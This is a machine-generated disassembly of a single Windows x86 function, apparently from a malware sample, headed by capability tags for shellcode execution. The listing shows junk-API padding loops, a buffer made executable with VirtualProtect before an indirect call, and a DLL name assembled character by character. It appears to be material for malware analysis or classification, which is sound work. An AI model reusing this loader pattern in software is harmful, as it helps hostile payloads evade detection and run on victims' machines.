Function at 0x423930
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
mov eax, 0x20b0
call fcn.0040e0c0
push ebx
mov ebx, dword [esp + 0x34]
push ebp
mov ebp, dword [esp + 0x9c]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
xor esi, esi
cmp esi, 0x2cc42
jge 0x423965
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x7c13d8], 0x6fb
jne 0x423981
push 0
push 0
lea eax, [esp + 0xcc8]
push eax
push 0
call edi
cmp esi, 0x1e9b2138
jle 0x423999
cmp ebx, 0xc10b08
je 0x423999
cmp ebp, 0x963c600
jne 0x4239a2
inc esi
cmp esi, 0x99752
jl 0x423957
cmp dword [0x7c13d8], 0xcf8
jne 0x4239f6
fldz
sub esp, 8
fstp qword [esp]
call fcn.00405360
fstp st(0)
fldz
fstp qword [esp]
call fcn.004054b0
fstp st(0)
push 0
push 0
push 0
push 0x43c6a8
call fcn.0040501b
push 0
call fcn.00405323
add esp, 0x1c
push 0
push 0
call fcn.00404d87
add esp, 8
push 0
call fcn.004052d1
mov edi, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
xor esi, esi
cmp esi, 0x408
jne 0x423a17
mov eax, 0x5d1
add dword [0x7c13d8], eax
cmp dword [0x7c13d8], 3
jne 0x423a34
push 0
push 0
call edi
push 0
push 0
lea ecx, [esp + 0xc8]
push ecx
call ebx
inc esi
cmp esi, 0x1518d4
jl 0x423a04
mov edx, dword [0x7c13d8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x44143c], eax
mov eax, dword [0x7c13d8]
xor esi, esi
test eax, eax
je 0x423aa6
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov edi, dword [sym.imp.KERNEL32.dll_FindResourceExW]
mov edi, edi
cmp eax, 0xfe
jne 0x423a7d
push 0
call ebx
call ebp
call fcn.004234e0
mov eax, dword [0x7c13d8]
cmp eax, 0x29
jne 0x423aa1
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
push 0
call edi
mov eax, dword [0x7c13d8]
inc esi
cmp esi, eax
jb 0x423a70
cmp eax, 0x70
jne 0x423b6a
push 0
lea eax, [esp + 0xc4]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileW]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
push 0x404630
push 0x404638
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push 0x404680
lea ecx, [esp + 0x18c4]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x40464c
lea edx, [esp + 0x14c4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0
lea eax, [esp + 0x1cc8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0
push 0
lea ecx, [esp + 0x4c8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea edx, [esp + 0xcc4]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0x4046c4
push 0x4046ec
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov eax, dword [0x7c13d8]
mov esi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov edi, dword [sym.imp.KERNEL32.dll_FindClose]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
mov ebx, dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
mov dword [esp + 0x40], 0x9682ab
lea ebx, [ebx]
cmp eax, 3
jne 0x423baa
lea eax, [esp + 0xc0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x7c13d8]
cmp eax, 0xdf
jne 0x423ce1
push 0
push 0
push 0
call esi
push 0
call edi
xor ecx, ecx
lea eax, [esp + 0x50]
push eax
push ecx
push ecx
lea edx, [esp + 0x4cc]
push edx
push ecx
mov dword [esp + 0x58], ecx
call ebp
push 0
push 0
push 0
call ebx
push 0x40472c
push 0x404768
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x4c]
push eax
push 0
lea ecx, [esp + 0xa0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea edx, [esp + 0x54]
push edx
push 0x40479c
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
call dword [sym.imp.KERNEL32.dll_HeapLock]
lea eax, [esp + 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea ecx, [esp + 0x48]
push ecx
lea edx, [esp + 0xcc4]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x30
mov dword [esp + 0x68], 0
push 0
lea eax, [esp + 0x70]
push eax
call fcn.004076a0
add esp, 0xc
push 0
lea ecx, [esp + 0x68]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov eax, dword [0x7c13d8]
dec dword [esp + 0x40]
jne 0x423b90
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
lea esp, [esp]
push 0
call edi
push 0
call ebx
dec esi
jne 0x423d00
mov eax, dword [0x7c13d8]
mov ecx, dword [0x44143c]
lea edx, [esp + 0x48]
push edx
push 0x40
push eax
push ecx
mov byte [0x43c6a8], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00423770
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
jmp 0x423d40
cmp dword [0x7c13d8], 0xba
jne 0x423d59
lea edx, [esp + 0x48]
push edx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x423d6c
mov eax, 0x4ce3
add dword [0x44143c], eax
inc esi
cmp esi, 0x1605a
jl 0x423d40
mov esi, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownW]
mov edi, 0xf2b8b
cmp dword [0x7c13d8], 0x21
jne 0x423d8d
push 0
call esi
dec edi
jne 0x423d80
mov eax, 0x73
mov ecx, 0x6d
mov word [0x7c03ea], ax
mov word [0x7c03ee], cx
xor ecx, ecx
mov edx, 0x33
mov eax, 0x67
mov word [0x7c03f2], dx
mov word [0x7c03fe], cx
mov word [0x7c03f0], ax
mov ecx, 0x69
mov edx, 0x6d
mov eax, 0x6c
push 0x7c03e8
mov dword [0x7c03f8], 0x6c0064
mov word [0x7c03ec], cx
mov word [0x7c03e8], dx
mov word [0x7c03fc], ax
mov dword [0x7c03f4], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x7c13d8], 0xc30
jne 0x423e6a
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push edi
lea eax, [esp + 0x4c4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret